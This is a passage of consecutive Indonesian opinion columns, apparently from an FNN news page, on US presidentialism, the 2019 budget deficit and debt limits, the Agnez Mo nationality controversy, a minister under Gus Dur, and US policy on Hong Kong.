presidensialisme adalah “pembelahan pendapat sedalam dan sekeras itu tak mengakibatkan mereka melupakan kompromi”. Saat David Bearly pada tanggal 4 September melaporkan hasil kerja Komisi Pendalaman Committee of Detail, munguatlah ide pemilihan presiden melalui electoral college. Ide ini akhirnya disepakati sebagai cara pemilihan presiden yang berlaku di Amerika Serikat sampai sekarang. Beberapa tahun setelah konvensi berakhir, John Dickinson, dalam kata-kata Berkin mengatakan “claim full credit for the creation of the electoral college”. Sebaran dan ragam kekuasaan presiden, yang saat ini terlembagakan dalam konstitusi mereka, juga dicapai pada rapat ini. Kecuali Wakil presiden menjadi Ketua Senat secara ex officio. Ragam kekuasaan presiden itu, dengan ketepatan yang tak terbantahkan, diadopsi di berbagai negara, termasuk Indonesia. Tetapi derajat kehatian-hatian yang hebat dari mereka, dalam kenyataan tidak dapat mendefenisikan jangkauan, ragam kekuasaan presiden secara rigid. Kata Berkin, kekuasaan presiden bersifat situasional, potensial dan tergantung pada perkembangan sejarah. Ini semua tidak diharapkan oleh para pembentuk UUD. Bahkan mereka, para pembentuk UUD pun tak dapat membayangkannya. Banyak dari kekuasaan presiden muncul pada situasi krisis. Identifikasi krisis sebagai kesempatan presiden memperluas kekuasaanya juga datang dari Richard M. Tifus, professor studi Amerika pada Columbia University. Bahkan, disini terlihat perbedaan dengan ahli hukum, Richard dengan menunjuk bahasa konstitusional yang mendua, umum dan tidak rigid, sebagai cara memungkinkan bekerjanya kekuasaan presiden dalam jumlah besar dan meluas. Perlu batasan rinci guna mengatasi keadaan darurat. Apa yang bisa ditandai dari semua argumen dan gagasan para perancang UUD Amerika Serikat yang diidentifikasi Berkin di atas? Menyelami sejarah, mengenal kebobrokan pada semua aspek presidensialisme dan cara pemilihan presiden, baik secara langsung atau melalui legislative, menandai pada tingkat tak terbantahkan, untuk mencegah tirani. Semuanya dipertimbangkan dalam kerangka menjaga presidensialisme, mencegah munculnya pemerintahan tiranis. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Defisit APBN 2019 Melangar UU, Jokowi Tamat?

Sepanjang tahun 2019, sampai dengan bulan Oktober 2019, utang pemerintan telah bertambah Rp. Sebanyak Rp 426,5 triliun. Dalam bulan November dan Desember 2019, pemerintah aktif menawarkan Surat Utang Negara (SUN). Penjualan SUN besar-besaran ini untuk menutupi kekurangan Aanggaran Pendapatan dan Belanja Negara (APBN) tahun 2019. By Salamuddin Daeng Jakarta, FNN- “Kami tidak memiliki kepercayaan yang banyak terhadap angka Produk Demostik Bruto (PDB) Indonesia. Sebab PDB Indonesia telah stabil selama beberapa tahun terakhir. Pelacakan bulanan terhadap aktivitas ekonomi dan modal, telah menunjukan indikator pertumbuhan ekoniomi Indonesia melambat selama setahun terakhir, ”ujar ekonom Gareth Leather dari Captal Economics Ltd. London. Petumbuhan ekonomi Indonesia hampir tidak bergerak naik atau stagnan dalam tiga kuartal terakhir ini. Kenyataan ini juga telah mendorong beberapa analis dan ekonom dunia meragukan data-data pertumbuhan ekonomi yang disampaikan pihak Indonesia. Dengan demikian, angka pertumbuhan GDP Indonesia juga tidak sesuai dengan kenyataan di lapangan. Artinya, angka pertumbuhan ekonomi Indonesia yang sebenarnya sudah berada di bawah lima persen. Bukan lagi di atas lima persen, seperti yang diakui pemerintah salama ini Pertanyataan Gareth Leather ini dimuat oleh bloomberg.com pada edisi 5 November 2019 lalu. Pernyataan Gareth Leather ini cukup membuat kita terkaget-kaget dan terperangah. Lembaga ekonomi yang berkantor di London, Inggris ini meragukan angka PDB Indonesia yang sampai sekarang belum berani diumumkan oleh Badan Pusat Statitik (BPS) Indonesia. Bila BPS salah mengumumkan angka resmi PDB Indonesia, maka akan sangat berpengaruh terhadap nasib pemerintahan Presiden Jokowi. Sebab defisit Anggaran Pendapatan dan Belanja Negara (APBN) 2019 tidak boleh lebih dari 3%. Jika defisit APBN lebih dari 3%, itu artinya pemerintahan Presiden Jokowi telah melanggar undang-undang keuangan negara. Batas besarnya utang pemerintah setiap tahun menurut undang-undang keuangan Negara, maksimum hanya 3% dari PDB. Sedanagkan batas total utang pemerintah secara keseluruhan, ditetapkan maksimum adalah 60% dari PDB. Tidak boleh lebih. Batas utang itu ditetapkan melalui undang-undang. Besaran defisit yang diperbolehkan Undang- Undang Nomor 17 Tahun 2003 tentang Keuangan Negara pasal 12 Ayat (3). Pada bagian penjelasan pasal ini berbunyi “defisit anggaran dimaksud dibatasi maksimal 3% dari Produk Domestik Bruto. Sedangkan jumlah pinjaman dibatasi maksimal 60% dari Produk Domestik Bruto". Bagaimana kenyataan sekarang? Apakah pemerintah sudah melanggar UU keuangan negara? Kalau pemerintah sudah melanggar undang-undang, berarti DPR bisa melakukan proses menuju impeachment untuk menjatuhkan Presiden Jokowi di tengah jalan. Alasannya, karena Presiden Jokowi melanggar telah melanggar undang-undang. Untuk itu, marilah kita hitung-hitung. Berdasarkan data Bank Indonesia (BI), sejak awal tahun 2019 sampai dengan kwartal III, utang luar negeri pemerintah bertambah U$ 10,84 miliar dollar, atau setara dengan Rp. 152,07 triliun. Selanjutnya, utang pemerintah dari Surat Utang Negara (SUN) bertambah dari Januari sampai Oktober 2019 sebesar Rp. 274,4 triliun. Jadi, sepanjang tahun 2019, sampai dengan bulan Oktober 2019, utang pemerintan telah bertambah sebanyak Rp 426,5 triliun. Dalam bulan November dan Desember 2019 ini, pemerintah sedang aktif menawarkan Surat Utang Negara (SUN). Penjualan SUN besar-besaran ini ini untuk menutupi kekurangan Anggaran Pendapatan dan Belanja Negara (APBN) tahun 2019. Kalau penambahan utang sepanjang tahun ini dibagi 0,03 sebagai batas 3% dari PDB, maka sampai dengan bulan Oktober 2019, angka PDB Indonesia seharusnya minimal Rp. 14.216 triliun. Lantas, berdasarkan perkiraan, berapa sebenarnya PDB Indonesia di tahun 2019 ini? Jawabannya sekitar Rp 15.000 triliun sampai dengan Rp. 15.500 triliun. Gross Demostic Produc (GDP) tidak bisa mencapai angka yang sesui dengan peningkatan utang pemerintan. Atau jika utang pemerintan melebihi batas yang ditetapkan oleh undang-undang, maka itu berarti nyata-nyata pemerintah sudah melanggar undang-undang. Sampai disini Presiden Jokowi bisa diimpeachment, karena anggaran tahun 2019 belum berakhir. PDB adalah angka ekonomi yang dihasilkan dari survey. Perhitungan besarnya PDB diperoleh dengan menggunakan metodologi tertentu. PDB juga dimonitor oleh lembaga-lembaga keuangan internasional. Dengan demikian PDB itu bukan angka pasti. Lembaga keuangan internasional memiliki angka perkiraan yang berbeda-beda mengenai jumlah PDB Indonesia sekarang. Demikian juga dengan BPS Indonesia, yang juga memiliki angka PDB berbeda. Menurut perkiraan International Monetary Fund (IMF), PDB Indonesia adalah USD 1.110 miliar atau setara dengan Rp. 15.540 triliun. Sedangkan menurut World Bank, PDB Indonesia tahun 2019 sekitar Rp. 15.300 triliun. Sementara BPS sampai belum merilis angka resmi PDB tahun 2019 Jika dikalikan 3% batasan yang diberikan oleh undang-undang, maka Ibu Menteri Sri Mulyani hanya bisa mencari utang baru untuk menutupi defisit APBN 2019 maksimal Rp. 466 triliun. Sementara, sampai dengan Oktober lalu, utang yang sudah didapat Ibu Sri adalah Rp. 426,5 triliun. Artinya, Ibu Menteri Sri masih hanya bisa mencari utang baru Rp. 40 triliun. Tidak boleh lebih. Waktu yang hanya tersisa hanya satu bulan lagi. Sementara kekurangan penerimaan negara dari dalam negeri diperkirakan sebesar Rp 500 triliun. Jika ditambah dengan defisit sebesar Rp 466 triliun, maka Ibu Sri Mulyani harus mencari utang baru untuk tahun 2019 sebesar 966 trliun. Lagi-lagi ini nyata-nyata telah melanggar undang-undang keuangan negara. Masalah lainnya, Pemerintah Jokowi berhutang satu dolar dengan bunga 8%. Maka sekian banyak itulah nilai utang dan bunga utang yang harus dibayar oleh pemerintah. Menjadi masalah ketika utang yang adalah angka pasti itu harus dibandingkan dengan PDB yang merupakan angka perkiraan untuk menentukan apakah pemerintah telah melanggar undang-undang atau tidak. Karena angka pembandingnya PDB bersifat perkiraan, maka boleh menggunakan perkiraan sebagai acuan. Padahal angka PDB yang merupakan perkiraan itu, bisa saja dilebih-lebihkan. Atau bisa pula dikurangi. Ini hal yang kurang masuk akal, karena bisa dimanipulasi untuk menghindar dari tuduhan telah melanggar undang-undang. Jadi, implikasinya berapapun Sri Mulyani berhutang, tidak mungkin Pemerintahan Jokowi dinyatakan melanggar undang-undang keuangan negara. Karena angka perkiraan PDB bisa saja diatur-atur. Sebab masing-masing lembaga internasional memiliki angka perkiraan PDB Indonesia yang berbeda-beda. Penulis adalah Penelisi Asosiasi Ekonomi Politik Indonesia

Agnes Mo, Anies Baswedan & Sukanto Tanoto dalam Nasionalisme Kita

Sikap Anies ini berbeda antara bumi dan langit dengan Sukanto Tanoto. Sukanto Tanoto, yang kekayaannya melimpah ruah karena berbagai "kemudahan" bisnis di Indonesia malah menyatakan bahwa RRC lah ayah kandungnya. Ini tentu sebuah gambaran buruk dwi identitas dibanding Anies tadi. Seharusnya Sukanto menjadikan Indonesia "ayah kandung" untuk berbakti, bukan sebaliknya. By Dr. Syahganda Nainggolan Jakarta, FNN - Banyak tokoh-tokoh pegiat politik marah dengan Agnes Mo beberapa hari ini. Bahkan, mantan Ketua Wahana Lingkungan Hidup Indonesia (WALHI), Emmi Hafidz, seperti dikutip Tempo dari akun FB-nya, minta Agnes pindah saja ke neraka. Pasalnya, dalam suatu wawancara bergengsi di Amerika, BUILD Series, Agnes mengatakan dia tidak punya sama sekali darah Indonesia. Sebelumnya, Kevan Kenney, pembawa acara, menanya Agnes, kenapa dia profil fisiknya berbeda dengan kebanyakan orang Indonesia. Pihak-pihak yang marah maupun bertanya-tanya antara lain dilatari. Pertama, Agnez dinilai tidak tahu berterima kasih terhadap Indonesia yang sudah membesarkan dia. Kedua, Agnez membangkitkan sentimen nasionalistik. Dapat berdampak sentimen atas darah keturunan yang ingin disamakan (dianggap setara pribumi) selama ini menjadi dipertanyakan kembali. Ketiga, bagaimana Agnez bisa punya kewarganegaran Indonesia? Soal Agnez ini menarik untuk kita diskusikan. Karena Agnez adalah artis terkenal di Indonesia. Dia mempunyai banyak fans. Kedua, beberapa waktu lalu "kasus kebangsaan" ini banyak terjadi. Anies Baswedan misalnya, menyatakan akan membangun Pribumi dalam pidato kemenangannya Oktober 2017. Selain itu, Jokowi mengangkat menteri energi, Archandra, pada saat mana Archandra tercatat sebagai warga Negara Amerika. Beberapa tahun lalu, pengusaha Sukanto Tanoto juga mengatakan persoalan yang hampir sama dalam sebuah pertemuan elit di RRC. Dia mengatakan bahwa RRC adalah bapak kandungnya. Sedangkan Indonesia hanya sebagai bapak tiri Sukamto Tanoto. Begitu juga dengan Bahlil Lahadalia, yang dikecam orang-orang Papua karena dianggap mengaku-ngaku sebagai orang Papua. Di jaman globalisasi dan internet of things, pembicaraan kebangsaan ini tetap dalam kontroversi. Antara lain cairnya identitas seseorang d i satu sisi versus mengentalnya netionalisme di sisi lain. Kita akan tetap menemukan kontrovensi masalah ini dengan pelaku yang berbeda di masa mendatang. Kita akan membandingkan kasus-kasus seperti di atas pada isu nasionalisme bangsa kita. Apakah memang benar bahwa bangsa kita tidak ada yang asli? Sebagaimana Sukarno dan para founding fathers membuatnya pada pasal 6 UUD 1945 yang asli. Apakah persoalan identitas yang ditampilkan Agnez vs. Anies vs. Archandra vs. Sukanto Tanoto vs. Bahlil mempunyai skala isu yang sama? Pribumi vs Non Pribumi Bangsa Indonesia dan warganegara Indonesia adalah suatu yang berbeda. Agnez pada dasarnya ingin memberitahu pembawa acara Kevan Kenney, atau semua kita yang saat ini terlibat diskusi ini, bahwa dia bukanlah Bangsa Indonesia, melainkan hanya warganegara Indonesia. Karena tidak ada darah Indonesia yang mengalir di dalam tubuhnya. Sebagaimana Michael Jackson atau Rihanna di Amerika, misalnya, mereka adalah Bangsa Afrika, tetapi adalah warganegara Amerika. Begitu juga dengan Agnez, yang adalah bangsa campuran Jepang, China dan Jerman, tetapi warganegara Indonesia. Di Amerika orang Afrika menyebut dirinya Afro-American atau Black America. Sebuah bangsa menurut ahli seperti Anthony Smith vs. Ernst Gellner sudah berbeda. Dalam "The Warwick Debate", yang menjadi rujukan para ahli "national vs nationalism", antara keduanya di Universitas Warwick, Inggris, tahun 1996, Smith meyakini bahwa fenomena bangsa itu ada. Sedangkan Gellner meyakini bahwa bangsa itu hanya produk modernisme dalam abad industri. Pikiran bahwa bangsa itu ada, sejalan dengan Soekarno dan para founding fathers bahwa Bangsa Indonesia itu artinya adalah yang asli. Bukan bangsa Arab, China maupun Eropa. Amien Rais dan kawan-kawan, pada tahun 1999-2002, tidak percaya bahwa Bangsa Indonesia asli itu ada. Akibatnya, pasal 6 UUD 1945 yang dirumuskan BPUPKI dirubah mereka dalam Amandemen. Siapapun termasuk Agnez punya hak yang sama dengan orang-asli asli untuk menjadi presiden kita. Pemikiran Amien Rais dan kawan-kawan tersebut, ternyata sejalan dengan Ernst Gellner, Eric Hobswam dan Ben Anderson. Bahwa yang ada adalah warganegara atau pemegang parpor seperti Agnez Mo. Pemegang aspor bukanlah sebuah bangsa. Dalam pikiran Sukarno dan pendiri Negara lainnya, bahwa garis kewarganegaran itu mengalir dari darah kebangsaan. Pendapat ini juga dibenarkan oleh Professor Hikmahanto Juwana. Kewarganegaraan cecara otomatis diberikan buat bangsa lainnya sesuai aturan yang mengaturnya. Lalu bagaimana soal pribumi vs. non pribumi? Senator Mc Cain, 2008, di pilpres USA, sebagai penantang Obama, pernah mengatakan bahwa Obama bukanlah pribumi. Lebih tepatnya Mc Cain menyebut "American Heritage" berasal dari Anglo Saxon. bukan Afrika seperti Obama. Namun, McCain gagal memberi perspektif yang bertentangan soal siapa Bangsa Amerika. Sebab, semua orang Amerika adalah pendatang. Setidaknya mereka menganggap begitu. Warga negara Amerika kemudahan adalah siapapun yang lahir di Amerika. Anies juga bicara soal kemajuan kaum pribumi, pada tahun 2017. Ketika menyampaikan pidato kemenangan dia sebagai Gubernur DKI, 2018 (lihat Syahganda dalam "Anies, Mandela dan Evo Morales : Aspek Teoritik dan Sejarah Perjuangan Pribumi"). Kala itu dia menyebutkan akan berjuang untuk kemajuan pribumi. Namun isu itu surut ketika Anies dilaporkan warga ke polisi, karena dianggap rasis. Anies juga diejek oleh sebagian nitizen kalau dia bukan pribumi alias Arab. Namun, jika melihat kasus Bahlil yang besar di Papua dan anak-anak "pendatang" (lahir dan besar di Papua) menjadi korban kebiadaban di Wamena beberapa waktu lalu. Mereka dianggap bukan dianggap asli maupun pribumi di sana. Maka asli dan pribumi itu terlihat pula memiliki tempat dalam kazanah politik kita. Bahkan, di Papua, hanya orang Papua asli alias pribumi yang boleh jadi Gubernur di sana. Lalu apakah Anies membedakan antara pribumi vs. asli? Dari apa yang terlihat, semangat Anies memperjuangkan pribumi adalah nyata. Jika Anies, yang pasti sadar bahwa dia adalah turunan Arab, bukan asli, namun cinta pribumi, maka dapat dipastikan itu adalah spirit ke Indonesiaan dan patriotisme yang dimilikinya. Sama dengan kakeknya, yang anggotan BPUPKI A. R Baswedan, yang memilih berjuang bersama pribumi Indonesia melawan Belanda. Sikap Anies ini berbeda antara bumi dan langit dengan Sukanto Tanoto. Sukanto Tanoto, yang kekayaannya melimpah ruah karena berbagai "kemudahan" bisnis di Indonesia malah menyatakan bahwa RRC lah ayah kandungnya. Ini tentu sebuah gambaran buruk dwi identitas dibanding Anies tadi. Seharusnya Sukanto menjadikan Indonesia "ayah kandung" untuk berbakti, bukan sebaliknya. Tantangan Nasionalisme Apakah Agnez perlu pindah ke neraka? Soal Agnez ini adalah soal identitas sosial belaka. Masalah kontestasi identitas ini mungkin menyakitkan masyarakat awam. Apalagi jika Agnez yang sudah dianggap Indonesia, kemudian terkesan menyepelekan Indonesia. Saya bukanlah orang awam yang larut dalam perdebatan semu soal Agnez. Sedikit kecewa, mungkin iya. Tapi, bagi saya Agnez adalah gadis jujur belaka. Yang mengungkapkan tentang dirinya, sebagai sebuah klarifikasi sosial apa adanya. Tidak menambah. Juga tidak mengurangi. Dalam jaman global ini, Agnez dan fenomena sebagian masyarakat sebagai anggota atau bagian "global community" merupakan keniscayaan, khususnya di kota-kota besar. Mengapa saya tidak menganggap ini terlalu penting? Karena Agnes tidak melibatkan negara, bangsa dan masyarakat Indonesia pada urusannya tersebut. Tentu hanya orang awam pula yang perlu atau punya "hak" menista Agnez. Sebaliknya, orang-orang politik atau mengerti politik, akan menjadi "misleading" jika ikut dalam polemik isu Agnez. Artinya, dalam "political sphere" maupun "public domain", soal Agnez ini tidak merugikan. Namun, soal "Anies dan Pribumi", "Archandra dan Dwi Kewarganegaran", "Sukanto Tanoto dan Bapak Kandung" serta "Bahlil dan Asli Papua", merupakan tema politik dan harus dibahas serius oleh pemimpin-pimpinan bangsa ini. Apakah pribumi, asli dan nasionalisme, akan kita anggap sebagai produk modernisme, sesuatu yang akan kita biarkan sirna? Atau sebaliknya? Kita justru kembali merivitalisasi spirit kebangsaan kita. Sebagaimana yang telah dilakukan oleh pendiri bangsa? Membiarkan sirna, artinya kita tidak perlu lagi mempersoalkan siapa pemilik tanah air ini. Namun sebaliknya, jika mengikuti "spirit Sumpah Pemuda", maka tanah air ini ada pemiliknya. Berbagai negara dan bangsa di dunia saat ini banyak melakukan revitalisasi kebangsaan mereka. Seperti di Eropa dan Amerika. Juga Amerika latin. Hal ini penting bagi mereka untuk mempertahankan eksistensi mereka dalam struktur negara bangsa. Dari cepatnya perputaran migrasi penduduk dunia saat ini. Penutup Soal Agnez hanyalah soal identitas tanpa muatan politik. Sehingga tidak perlu dikecam berlebihan. Apalagi harus meminta Agnez pindah ke neraka. Orang-orang harus sadar, bahwa masalah nasionalisme kita bukan pada isu identitas bangsa vs. kewarganegaran Agnes. Namun, ada pada kemauan kita mengembalikan identitas politik bangsa ini. Apakah bangsa pribumi atau asli ini akan tetap menjadi pemilik tanah air Indonesia? Ataukah akan terhempas dalam kejayaan bangsa-bangsa asing yang menguasai sumber daya alam dan kekayaan lainnya? Penulis adalah Direktur Eksekutif Sabang-Merauke Circle

Moeldoko Pasang Badan untuk Agnez, Kapan Agnez Pasang Badan untuk Pak Moel?

By Asyari Usman Jakarta, FNN - Agnez Monica boleh-boleh saja berstatus bintang. Tapi, hari-hari ini yang menjadi bintang malah Pak Moeldoko —Kepala Staf Kepresidenan. Pasalnya, pejabat penting Istana ini pasang badan untuk Agnez. Ketika bintang model dan tarik suara ini sedang dikeroyok gara-gara mengaku bahwa dia tidak berdarah Indonesia, Moeldoko tampil ke depan. Pak Moel mengimbau agar pengakuan Agnez tidak digoreng terus. Menurut Moeldoko, walau tak mengaku berdarah Indonesia, tak berarti Agnez tidak nasionalis. Mengapa Moeldoko tampil pasang badan untuk Angez? Tentu Pak Moel sendiri yang tahu. Yang jelas, beliau merasa terpanggil pasang badan untuk Agnez. Semata-mata dengan alasan yang mulia. Yaitu, untuk mencegah agar hujatan terhadap Agnez tidak berlanjut. Apa yang dilakukan Moeldoko itu sebetulnya sangat riskan. Besar taruhannya. Sebab, opini publik dalam kasus Agnez didominasi oleh hujatan dan kritik pedas. Artinya, Moeldoko siap berlawanan dengan suara publik. Kemudian, apakah salah Pak Moel pasang badan untuk Agnez? Tidak ada yang salah. Sah-sah saja. Itulah pilihan Kepala Staf Presiden. Walaupun membela Agnez belum tentu menjadi tugas Pak Moel, beliau merasa terpanggil untuk pasang badan. Terpanggil untuk membela kebenaran dan kejujuran. Dalam hal ini, Agnez benar dan jujur. Dia benar bukan berdarah Indonesia. Dan dia jujur mengakuinya. Ini sangat terpuji. Jadi, Pak Moel spontanitas saja pasang badan. Sejalan dengan jiwa patriotisme beliau sebagai tentara. Tidak ada yang berlebihan. Pasang badan Pak Moel ini tentu tidak ternilai harganya bagi Agnez. Dan kita yakin Pak Kepala Staf melakukan itu sebagai ekspresi rasa cinta dan sayangnya kepada sesama warga Indonesia. Yang sedang dilanda masalah. Pak Moeldoko pastilah tidak mengharap apa-apa dari pasang badan untuk Agnez. Tetapi, sebagai orang yang paham tatakrama Indonesia, Agnez pun tentu siap juga memasang badannya untuk Pak Moel.[] 27 November 2019 Penulis wartawan senior.

Sosok Menteri di Era Gus Dur

Oleh: Tjahja Gunawan Jakarta, FNN - Masih terngiang cerita seorang menteri era Gus Dur yang berani mengatakan apa adanya kepada presiden maupun para menteri dalam sidang kabinet. Dia menjadi bawahan tapi juga sekaligus teman diskusi serta teman debat Presiden. Orangnya hamble dan cenderung "hitam-putih" dalam melihat persoalan. Dalam sidang kabinet, dia tidak sungkan untuk mengatakan: "Anda Salah", baik kepada Presiden maupun para menteri. Orang yang tidak mengenal karakternya, akan menilai bahwa orang ini sombong apalagi orangnya memang jarang tersenyum. Tapi apapun isi percakapan dan debat sengit yang disampaikan sang menteri ini, itu semua hanya berlangsung di ruang sidang kabinet. Tidak sampai bocor atau dibocorkan oleh menteri itu ke luar/media. Bahkan terhadap sebuah keputusan yang sudah diambil Gus Dur sekalipun, Sang Menteri ini tidak segan-segan untuk mengatakan: "Saya Tidak Setuju dengan Keputusan Anda.... Bapak Presiden" "Selanjutnya terserah Anda, saya bawahan Anda Pak Presiden. Apakah Anda mau memberhentikan saya atau tidak". Itulah etika birokrasi sekaligus prinsip yang dipegang sang menteri ini. Walaupun berbeda pendapat atau tidak setuju dengan Presiden sebagai atasannya, dia tetap "stand with the boss". Kala itu, banyak di antara menteri yang diangkat dan dipecat Gus Dur. Tapi ada juga menteri yang mundur hanya karena tidak setuju dengan keputusan Gus Dur. Menteri yang pernah dipecat Gus Dur di antaranya Wiranto dan Jusuf Kalla. Saya menceritakan ini karena wajah sang menteri ini tiba-tiba sering berkelabat dalam ingatan saya dalam beberapa hari terakhir ini. Betapa tidak, di saat kabinet sedang gaduh di era Gus Dur, Sang Menteri sering ngajak curhat dengan para kuli tinta. Nah, supaya posisinya sejajar, sengaja saya sebagai kuli tinta yang mengajak sekaligus "mentraktir" sang menteri ini untuk hang out sambil makan/ngopi-ngopi di luar. Setelah itu, bon makan-makannya saya reimburs ke kantor tempat saya bekerja. Lalu saya ajak beberapa kolega yang sama-sama bertugas di Palace waktu itu. "Negara besar dengan persoalan yang besar tapi dikelola secara amatiran,". Begitulah antara lain ucapan dan otokritik yang disampaikan menteri ini. "Lalu kenapa Anda mau jadi menterinya Gus Dur?" sergah saya. Harap Anda tahu, kata menteri itu, saya sudah berteman dengan Gus Dur cukup lama bahkan sebelum dia menjadi Presiden. Tapi begitu dia menjadi presiden tahun 2000, saya menolak ketika Gus Dur memintanya untuk menjadi menteri dalam kesempatan pertama. "Namun karena Gus Dur berkali-kali meminta saya untuk masuk kabinet dengan alasan krisis sumber daya manusia waktu itu, saya pun akhirnya tidak bisa mengelak lagi," ujarnya. Pasca lengsernya Soeharto, persoalan bangsa silih berganti dan menumpuk. Masalah utama waktu itu, krisis ekonomi dan krisis poltik, persoalan GAM Aceh juga belum beres, dll. Presiden Habibie dan Presiden Gus Dur boleh dibilang periode "cuci piring" sekaligus mengembalikan kepercayaan masyarakat. Menteri yang saya ceritakan ini orangnya sangat rasional sehingga dia tidak percaya ketika Gus Dur bakal menjadi Presiden saat terjadi krisis kepemimpinan pasca Habibie. Waktu itu konflik antara Partai Golkar yang mendukung Habibie dengan PDIP sebagai pendukung Megawati Soekarnoputri, sangat keras. Di atas kertas, seharusnya waktu itu Megawati yang menjadi Presiden karena di parlemen anggota PDIP cukup kuat. Namun karena waktu itu lahir Poros Tengah yang diinisiasi oleh Amien Rais, akhirnya yang menjadi Presiden Gus Dur yang awalnya waktu itu hanya didukung oleh PKB. Tapi kemudian didukung oleh partai-partai lain seperti PAN bahkan akhirnya Partai Golkar ikut mendukung Gus Dur. Kembali ke cerita dan curhat sang menteri. Gus Dur, kata dia, bukan hanya sekali dua kali saja menyatakan kepadanya kalau dia akan terpilih menjadi Presiden. "Bahkan ketika Gus Dur sedang di rumah sakit akibat terkena serangan stroke, dia masih sempat cerita soal politik. Dia waktu itu sangat yakin bakal menjadi Presiden dan meminta saya membantu dia untuk masuk ke dalam kabinet," cerita Sang Menteri ini. Walaupun dirinya sudah lama menjadi teman diskusi politik dan berdebat dengan Gus Dur. "Tapi saya kan nggak tega juga berdebat dengan orang yang sedang terbaring sakit. Jadi saya iyain aja ke Gus Dur," katanya. Padahal, dalam hati Sang Menteri ini menggerutu: Gus Dur ini sedang ngimpi. Karena berdasarkan analisa dan kalkulasi politik sang menteri ini, Gus Dur mustahil bisa menjadi seorang Presiden. Tapi akhirnya realitas politik waktu itu menunjukkan bahwa Gus Dur benar-benar menjadi seorang Presiden. Sejak itu, sang menteri ini tidak berani lagi untuk menganalisa langkah politik Gus Dur . Tidak hanya menteri yang satu ini, banyak elite politik waktu itu yang tidak mampu membaca langkah politik Gus Dur. Sehingga kala itu ada joke, "Gus Dur ini ibarat sopir bemo, bawa kendaraannya sulit ditebak orang, mau lurus, belok kiri atau nganan juga tidak ada yang tahu karena nggak pernah pakai lampu sein kalau mau belok". Kalau melihat ke belakang, para menteri waktu itu memiliki karakter dan prinsip yang tegas dan jelas. Tidak setuju dengan Presiden, dia mundur. Kalau nggak salah Ryaas Rasid yang mundur waktu itu. Lalu ada juga beberapa menteri yang dipecat bahkan seorang menteri non parpol yang sebelumnya menjadi kepercayaan Gus Dur. Priadi adalah orang yang diangkat Gus Dur menjadi Menkeu karena orangnya dinilai baik dan bisa dipercaya. Dan selama berkarier di BRI hingga menjadi direksi di Bank BUMN tersebut, Priadi praktis tidak mempunyai cacat. Dia boleh dibilang orang yang "lurus" dan sederhana. Tapi toh, akhirnya dia termasuk salah seorang menteri yang dipecat Gus Dur juga. Belakang saya paham, Gus Dur banyak mengangkat dan memberhentikan menteri waktu itu semata hanya sebagai manuver politik. Apa tujuannya ? Hanya Gus Dur yang tahu. Yang jelas sang menteri ini walaupun sering mendebat Gus Dur dalam sidang kabinet, justru dia yang dipertahankan hingga berakhirnya kekuasaan Gus Dur yang kurang lebih hanya 18 bulan. Setelah menjadi Menteri Sekretaris Kabinet, sang menteri ini kemudian dipindah menjadi Menteri Kehakiman (sekarang Menteri Hukum dan HAM). Terakhir dia dipindah lagi oleh Gus Dur menjadi Jaksa Agung. Waktu itu kartel politik dan oligarki parpol tidak parah seperti sekarang. Di era Gus Dur, posisi Presiden relatif masih powerfull terutama dalam proses penyusunan kabinet. Sistem politik presidensial masih terasa walaupun banyak menteri waktu itu yang merupakan representasi dari parpol. Tapi rupanya makin lama kekuatan parpol di parlemen semakin solid dan akhirnya melalui proses politik Gus Dur berhasil dilengserkan oleh parlemen. Mereka yang mengangkat, mereka pula yang menjatuhkan Gus Dur. Bulog Gate cuma pintu masuk saja untuk menurunkan Gus Dur dari kursi Presiden. Lalu Presiden diganti oleh Megawati. Sampai persidangan Bulog Gate berakhir, Gus Dur tidak terbukti terlibat dalam Bulog Gate. Dalam persidangan, Gus Dur pernah datang untuk memberikan kesaksian, setelah dia tidak menjadi Presiden lagi. Komitmen Gus Dur dalam penegakan hukum tidak diragukan lagi, keberanian untuk menghapus Dwi Fungsi ABRI juga merupakan salah satu legacy Gus Dur. Semoga tulisan ini tidak sampai dibaca oleh sang menteri yang saya ceritakan di tulisan ini. Alfatihah untuk almarhum Gus Dur. Wallohualam Bhisawab..... Penulis wartawan senior.

Hukum di Dunia Yang Terkoneksi

By Dr. Margarito Kamis Jakarta, FNN - Hongkong dilanda demonstrasi berbulan-bulan. Kongres Amerika, entah apa pertimbangannya, mengeluarkan satu Rancangan Undang-Undang (RUU). Garis besar RUU itu berisi otorisasi kepada pemerintah Amerika mengambil langkah pemerintahan untuk melindungi hak asasi dan demokrasi di Hongkong. RUU ini, hebatnya disetujui secara aklamasi oleh seluruh anggota Kongres. Ini menarik. Mengapa? Kongres dalam kenyataannya sangat terbelah. House of Representative dikuasai Demokrat. Sedangkan Senat dikuasai oleh Republik. Menariknya lagi, saat RUU ini dikeluarkan, House of Representative yang dikuasai Demokrat sedang menyelenggarakan penyelidikan impeachment terhadap Presiden Trumph, presiden dari partai Republik. Komisi Intelijen yang menyelidiki kasus ini telah memeriksa sejumlah saksi kunci. Terlihat sangat eksplosif. Dalam sidang ini, muncul satu nama, Rudi Guiliani, pengacara pribadi Presiden Trumph. Ia teridentifikasi sebagai sosok yang sangat berpengaruh. Terlihat sebagai orang, yang hampir separuh nafasnya mewakili Trumph dalam urusan dengan Presiden Ukraina. Peran sosok ini, pada level tertentu, mengingat lagi peran Kolonel Edward Mandel, House dalam pemerintahan Woodrow Wilson. Nama yang disebut terakhir, diidentifikasi Ralph Epperson dalam Invisible Hand-nya sebagai sosok yang membawa Woodrow Wilson menggapai kursi presiden. House juga teridentifikasi sebagai orang yang sangat menentukan. Dengan pengarahannya kepada presiden Woodrow Wilson memasuki perang dunia pertama. House pada level tertentu. bersama dengan Allen Dulles, Walter Lippman, dan Louise Brandies menjadi arsitek dari 14 pasal yang dibawa Wilson ke pertemuan Versailes, Perancis. Dunia Berubah Hongkong berada ribuan mill dari Amerika, tetapi mengapa Amerika memasuki masalah mereka? Itulah yang tidak dimengerti oleh pemerintahan China. Ketidakmengertian ini membawa pemerintah China memanggil Duta Besar Amerika. Pemerintahan China hendak memperoleh keterangan yang kredibel. China, seperti negara berdauat lainnya didunia, tentu melihat sikap Amerika ini sebagai sesuatu yang tidak dapat diterima begitu saja. Artikel ini tidak akan memasuki isu itu lebih jauh. Artikel ini hendak memasuki isu keleluasaan Amerika di panggung dunia, dengan segala implikasi fundamental yang menyertainya. Doktrin Monroe, jelas dalam soal itu. Tetapi kehebatan doktrin itu, sejauh yang dapat diidentifikasi secara terukur, baru menemukan aspek praktis dan idiologisnya pada masa pemerintahan Woodrow Wilson. Woodrow Wilson adalah professor Administrasi Negara dari 